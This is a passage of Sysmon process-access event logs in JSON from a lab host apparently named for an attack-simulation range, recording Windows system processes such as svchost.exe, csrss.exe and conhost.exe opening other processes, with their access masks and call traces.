C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.118\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.118","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.118\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.118","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 